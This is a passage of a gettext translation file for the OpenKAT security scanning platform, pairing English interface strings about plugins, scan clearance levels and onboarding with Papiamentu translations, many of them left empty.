katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enabled\"\nmsgstr \"Aktivá\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Disabled\"\nmsgstr \"Desaktivá\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Enabled-Disabled\"\nmsgstr \"Aktivá-Desaktivá\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Disabled-Enabled\"\nmsgstr \"Desaktivá-Aktivá\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Filter options\"\nmsgstr \"Opshonnan di filter\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Sorting options\"\nmsgstr \"Opshonnan súrtí\"\n\n#: katalogus/forms/plugin_settings.py\nmsgid \"This field is required.\"\nmsgstr \"E vèld aki ta obligatorio\"\n\n#: katalogus/templates/about_plugins.html\n#: katalogus/templates/partials/plugins_navigation.html\nmsgid \"About plugins\"\nmsgstr \"Tokante plug-innan\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/katalogus.html\nmsgid \"\"\n\"Plugins gather data, objects and insight. Each plugin has its own focus area \"\n\"and strengths and may be able to work with other plugins to gain even more \"\n\"insights.\"\nmsgstr \"\"\n\"Plugins ta reuni informashon, obhetonan i komprènhenshon. Kada plugin tin su \"\n\"mes área di enfoke i fortalezanan i por ta kapás pa traha ku otro plugins pa \"\n\"hanja ainda mas komprènhenshon.\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/boefjes.html\nmsgid \"\"\n\"Boefjes are used to scan for objects. They detect vulnerabilities, security \"\n\"issues, and give insight. Each boefje is a separate scan that can run on a \"\n\"selection of objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/normalizers.html\nmsgid \"\"\n\"Normalizers analyze the information and turn it into objects for the data \"\n\"model in Octopoes.\"\nmsgstr \"\"\n\"Normalizers ta analisá informashon i konvértí esaki den ophetonan pa e \"\n\"modelo di datonan den Octopoes.\"\n\n#: katalogus/templates/about_plugins.html\nmsgid \"\"\n\"Bits are business rules that look for insight within the current dataset and \"\n\"search for specific insight and draw conclusions.\"\nmsgstr \"\"\n\"Bits ta reglanan di negoshi ku ta buska bista den e dataset aktual i ta \"\n\"buska bista spesífiko i trese konklushonnan.\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan level\"\nmsgstr \"Nivél di skan\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\nmsgid \"Consumes\"\nmsgstr \"Ta konsumí\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to scan the following object types:\"\nmsgstr \"%(plugin_name)s ta dispuesto di skan e siguinte tipo di ophetonan:\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s does not need any input objects.\"\nmsgstr \"%(plugin_name)s no ta nesesitá ningun ophetonan di entrada.\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Produces\"\nmsgstr \"Ta Produsí\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#, python-format\nmsgid \"%(plugin_name)s can produce the following output:\"\nmsgstr \"%(plugin_name)s por produsi lo sigiente:\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s doesn't produce any output mime types.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje variant setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/ooi_edit.py rocky/views/organization_edit.py\nmsgid \"Edit\"\nmsgstr \"Editá\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"\"\n\"You can create a new Boefje. If you want more information on this, you can \"\n\"check out the <a href=\\\"https://docs.openkat.nl/developer_documentation/\"\n\"development_tutorial/creating_a_boefje.html\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Save changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html\nmsgid \"Add Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html katalogus/templates/katalogus.html\n#: katalogus/templates/normalizers.html\nmsgid \"available\"\nmsgstr \"disponibel\"\n\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"scan level warning\"\nmsgstr \"Advertensia di nivél di skan\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"%(plugin_name)s will only scan objects with a corresponding clearance level \"\n\"of <strong>L%(scan_level)s</strong> or higher.\"\nmsgstr \"\"\n\"%(plugin_name)s ta skan solamente ophetonan ku tin un nivel di autorisashon \"\n\"adequa di <strong>L%(scan_level)s</strong> òf mas haltu.\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Scan object\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"The following objects are not yet cleared for level %(scan_level)s, please \"\n\"be advised that by continuing you will declare a level %(scan_level)s on \"\n\"these objects.\"\nmsgstr \"\"\n\"E sigiente ophetonan no ta pone na e nivel di autorisashon number \"\n\"%(scan_level)s, por fabor ta consiente ku pa sigi bo ta deklara un nivel di \"\n\"autorisashon di %(scan_level)s riba e ophetonan.\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected objects\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html rocky/views/mixins.py\nmsgid \"Object\"\nmsgstr \"Opheto\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Are you sure you want to scan anyways?\"\nmsgstr \"Bo ta sigur ku bo ke skan numa?\"\n\n#: katalogus/templates/change_clearance_level.html\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Scan\"\nmsgstr \"Skèn\"\n\n#: katalogus/templates/clone_settings.html\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone settings\"\nmsgstr \"Klone settings\"\n\n#: katalogus/templates/clone_settings.html\n#, python-format\nmsgid \"\"\n\"Use the form below to clone the settings from \"\n\"<strong>%(current_organization)s</strong> to the selected organization. This \"\n\"includes both the KAT-alogus settings as well as enabled and disabled \"\n\"plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone\"\nmsgstr \"Kopia\"\n\n#: katalogus/templates/katalogus.html\nmsgid \"All plugins\"\nmsgstr \"Tur plug-ins\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"KAT-alogus settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"\"\n\"There are currently no settings defined. Add settings at the plugin detail \"\n\"page.\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Go back\"\nmsgstr \"Bai bèk\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"This is an overview of the latest settings of all plugins.\"\nmsgstr \"Esaki ta un lista di e settings mas reciente pa tur plugins.\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"Latest plugin settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"Plugin\"\nmsgstr \"Plugin\"\n\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_settings_list.html\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Value\"\nmsgstr \"Balor\"\n\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to process the following mime types:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"This object type is required\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Scan level:\"\nmsgstr \"Nivél di skan:\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Publisher:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\n#: katalogus/templates/partials/plugin_tile.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"See details\"\nmsgstr \"Habri detayes\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\nmsgid \"Enable\"\nmsgstr \"Aktivá\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable\"\nmsgstr \"Desactivá\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Hide filters\"\nmsgstr \"Skonde filters\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Show filters\"\nmsgstr \"Mustra filters\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"applied\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Filter plugins\"\nmsgstr \"Filtro di plug-in\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Clear filter\"\nmsgstr \"Kita filters\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/views/change_clearance_level.py katalogus/views/katalogus.py\n#: katalogus/views/katalogus_settings.py katalogus/views/plugin_detail.py\n#: katalogus/views/plugin_settings_add.py\n#: katalogus/views/plugin_settings_delete.py\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"KAT-alogus\"\nmsgstr \"KAT-alogus\"\n\n#: katalogus/templates/partials/katalogus_header.html\nmsgid \"An overview of all available plugins.\"\nmsgstr \"Un bista general di tur plug-innan disponibel.\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/templates/plugin_settings_list.html\n#: katalogus/views/katalogus_settings.py tools/view_helpers.py\n#: rocky/templates/header.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Settings\"\nmsgstr \"Settings\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Gridview\"\nmsgstr \"Mustra Grid\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Tableview\"\nmsgstr \"Aparensia tablatura\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Required for\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Report types for \"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"No permission to enable/disable plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"Contact your administrator to request permission.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, fuzzy, python-format\nmsgid \"\"\n\"This Boefje will only scan objects with a corresponding clearance level of \"\n\"<strong>L%(scan_level)s</strong> or higher. There is no indemnification for \"\n\"this Boefje to scan an OOI with a lower clearance level than \"\n\"<strong>L%(scan_level)s</strong>. Use the filter to show OOI's with a lower \"\n\"clearance level.\"\nmsgstr \"\"\n\"E boefje aki ta skan solamente ophetonan ku un nivél di autorisashon di \"\n\"<strong>L%(scan_level)s</strong> òf mas haltu. No tin indemnizashon pa e \"\n\"boefje pa skan un OOI ku un nivél di autorisashon mas abou ku \"\n\"<strong>L%(scan_level)s</strong>. Uza e filter pa mustra OOI's ku un nivél \"\n\"di autorisashon mas abou.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"Warning scan level:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"\"\n\"Scanning OOI's with a lower clearance level will result in OpenKAT \"\n\"increasing the clearance level on that OOI, not only for this scan but from \"\n\"now on out, until it manually gets set to something else again. This means \"\n\"that all other enabled Boefjes will use this higher clearance level aswel.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, fuzzy, python-format\nmsgid \"\"\n\"You currently don't have any objects that meet the scan level of %(name)s. \"\n\"Add objects with a complying clearance level, or alter the clearance level \"\n\"of existing objects.\"\nmsgstr \"\"\n\"\\n\"\n\"              Na e momento aki bo no tin ophetonan ku ta kwarda ku e nivel \"\n\"di autorisashon di %(name)s. \\n\"\n\"              Añadi ophetonan ku un nivel di authorisashon adequa, òf kambia \"\n\"e nivel di authorisashon di ophetonan eksistente.\\n\"\n\"            \"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, fuzzy, python-format\nmsgid \"\"\n\"You currently don't have scannable objects for %(name)s. Add objects to use \"\n\"this Boefje. This Boefje is able to scan objects of the following types:\"\nmsgstr \"\"\n\"\\n\"\n\"              Na e momento aki bo no tin ophetonan pa skan pa %(name)s. \\n\"\n\"              Añadi ophetonan pa uza e boefje. E boefje aki ta dispuesto di \"\n\"skan ophetonan di e sigiente tiponan:\\n\"\n\"            \"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"The form could not be initialized.\"\nmsgstr \"E formulario no por wordu initialisa.\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"Required settings\"\nmsgstr \"Settings requeri\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Add\"\nmsgstr \"Añadí\"\n\n#: katalogus/templates/partials/plugin_tile.html\nmsgid \"Required for:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Boefje details\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html reports/forms.py\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"This boefje is required by the following report types.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Go to boefje detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Plugins overview:\"\nmsgstr \"Resumen di Plug-innan:\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin name\"\nmsgstr \"Nombre di Plug-in\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin type\"\nmsgstr \"Tipo di Plug-in\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin description\"\nmsgstr \"Deskripshon di Plug-in\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/partials/report_header.html\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Actions\"\nmsgstr \"Akshonnan\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Plugins Navigation\"\nmsgstr \"Navegashon di Plug-innan\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Boefjes\"\nmsgstr \"Boefjes\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Normalizers\"\nmsgstr \"Normalizers\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: tools/forms/scheduler.py\nmsgid \"All\"\nmsgstr \"Tur\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Container image\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The container image for this Boefje is:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"Boefje variants that use the same container image. For more information \"\n\"about Boefje variants you can read the documentation.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Add variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"confirmation\"\nmsgstr \"konfirmashon\"\n\n#: katalogus/templates/plugin_container_image.html\n#, python-format\nmsgid \"Variant %(plugin.name)s created.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The Boefje variant is successfully created and can now be used.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Overview of variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/plugin_overview_table.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Status\"\nmsgstr \"Estádo\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Age\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan interval\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Run on\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"current\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\nmsgid \"minutes\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Default system scan frequency\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Boefje ID\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Creation date\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Arguments\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The following arguments are used for this Boefje variant:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"There are no arguments used for this Boefje variant.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Edit variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"This Boefje has no variants yet.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"You can make a variant and change the arguments and JSON Schema to customize \"\n\"it to fit your needs.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting\"\nmsgid_plural \"Add settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Setting\"\nmsgid_plural \"Settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting and enable boefje\"\nmsgid_plural \"Add settings and enable boefje\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_delete.html\nmsgid \"Delete settings\"\nmsgstr \"Eliminá ajustenan\"\n\n#: katalogus/templates/plugin_settings_delete.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete all settings for the plugin %(plugin_name)s?\"\nmsgstr \"Segur bo ke bo ke eliminá tur ajuste pa e plug-in %(plugin_name)s?\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"\"\n\"In the table below the settings for this specific Boefje can be seen. Set or \"\n\"change the value of the variables by editing the settings.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Configure Settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Overview of settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Variable\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Session has terminated, please select objects again.\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Change clearance level\"\nmsgstr \"Kambia nivél di autorisashon\"\n\n#: katalogus/views/katalogus_settings.py\nmsgid \"Settings from {} to {} successfully cloned.\"\nmsgstr \"Ajustenan di {} pa {} a wordu di kloon ku éksito.\"\n\n#: katalogus/views/katalogus_settings.py\n#: katalogus/views/plugin_settings_list.py\nmsgid \"Failed getting settings for boefje {}\"\nmsgstr \"Faya den haña ajustenan pa boefje {}\"\n\n#: katalogus/views/mixins.py\nmsgid \"\"\n\"Getting information for plugin {} failed. Please check the KATalogus logs.\"\nmsgstr \"\"\n\"Faya den haña informashon pa e plugin {} . Por fabor, kontrolá e lognan di \"\n\"KATalogus.\"\n\n#: katalogus/views/plugin_detail.py\nmsgid \"\"\n\"Some selected OOIs needs an increase of clearance level to perform scans. \"\n\"You do not have the permission to change clearance level.\"\nmsgstr \"\"\n\"Algun OOI selektá ta nesesitá un aumentu di nivel di autorisashon pa hasi \"\n\"skaneonan. Bo no tin e permiso pa kambia nivel di autorisashon.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' disabled.\"\nmsgstr \"{} '{}' desaktivá.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' enabled.\"\nmsgstr \"{} '{}' aktiva.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"You have not acknowledged your clearance level. Go to your profile page to \"\n\"acknowledge your clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is not set. Go to your profile page to see your \"\n\"clearance or contact the administrator to set a clearance level.\"\nmsgstr \"\"\n\"Bo nivel di autorisashon no ta establésí. Bai na bo página di perfil pa wak \"\n\"bo autorisashon òf kontakta e administradó pa establésí un nivel di \"\n\"autorisashon.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is L{}. Contact your administrator to get a higher \"\n\"clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"To enable {} you need at least a clearance level of L{}. \"\nmsgstr \"Pa aktivá {} bo mester tin mínimo un nivel di autorisashon di L{}.\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Trying to add settings to boefje without schema\"\nmsgstr \"Ta trata di agrega ajustenan na boefje sin esquema\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"No changes to the settings added: no form data present\"\nmsgstr \"\"\n\"Ningun kambio a wordu agrega na e ajustenan: no tin dato di formulario \"\n\"presente\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Added settings for '{}'\"\nmsgstr \"Añadi setting pa '{}'\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Failed adding settings\"\nmsgstr \"Faya den agrega ajustenan\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Enabling {} failed\"\nmsgstr \"Faya den habilidat {}\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Boefje '{}' enabled.\"\nmsgstr \"Boefje '{}' habilidá.\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Add settings\"\nmsgstr \"Añadi settings\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Settings for plugin {} successfully deleted.\"\nmsgstr \"Ajustenan pa e plug-in {} a wordu eliminá éksito.\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Plugin {} has no settings.\"\nmsgstr \"Plugin {} no tin ajustenan.\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"\"\n\"Failed deleting Settings for plugin {}. Check the Katalogus logs for more \"\n\"info.\"\nmsgstr \"\"\n\"Faya den eliminashon di Ajustenan pa e plug-in {}. Kontrolá e lognan di \"\n\"Katalogus pa mas informashon.\"\n\n#: onboarding/forms.py\nmsgid \"\"\n\"The clearance level determines how aggressive the object can be scanned by \"\n\"plugins. A higher clearance level means more aggressive scans are allowed.\"\nmsgstr \"\"\n\n#: onboarding/forms.py tools/forms/ooi.py\nmsgid \"explanation-clearance-level\"\nmsgstr \"splikashon-nivel-di-autorisashon\"\n\n#: onboarding/forms.py\nmsgid \"Please enter a valid URL starting with 'http://' or 'https://'.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/onboarding_header.html\nmsgid \"Onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"Welcome to OpenKAT!\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"Welcome to the onboarding of OpenKAT. We will walk you through some steps to \"\n\"set everything up.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"At the end of this onboarding you have added your first object, created your \"\n\"first DNS report and learned about some basic concepts used within OpenKAT.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"The full documentation for OpenKAT can be found at:\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\n#: rocky/templates/organizations/organization_add.html\nmsgid \"Organization setup\"\nmsgstr \"Setup organisashon\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\nmsgid \"\"\n\"Please enter the following organization details. The organization name can \"\n\"be changed later in the interface. The organization code cannot be changed \"\n\"as this is used by the database.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\n#: reports/report_types/concatenated_report/report.py\nmsgid \"Report\"\nmsgstr \"Rapòrt\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Boefjes are scanning\"\nmsgstr \"Boefjes ta bezig ta scan\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"The enabled Boefjes are running in the background to gather the data for \"\n\"your DNS Report. This may take a few minutes.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"In the meantime you can explore OpenKAT and view your DNS Report on the \"\n\"Reports page once it has been generated.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Continue to OpenKAT\"\nmsgstr \"\"\n\n#: onboarding/templates/step_1_introduction_registration.html\n#: onboarding/templates/step_1a_introduction.html\nmsgid \"Let's get started\"\nmsgstr \"Laga nos kuminsa\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: onboarding/templates/step_2b_organization_update.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization details\"\nmsgstr \"Detayes di organisashon\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: rocky/templates/forms/json_schema_form.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_member_add.html\n#: rocky/templates/organizations/organization_member_add_account_type.html\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\n#: rocky/templates/partials/form/indemnification_add_form.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Submit\"\nmsgstr \"Abdiká\"\n\n#: 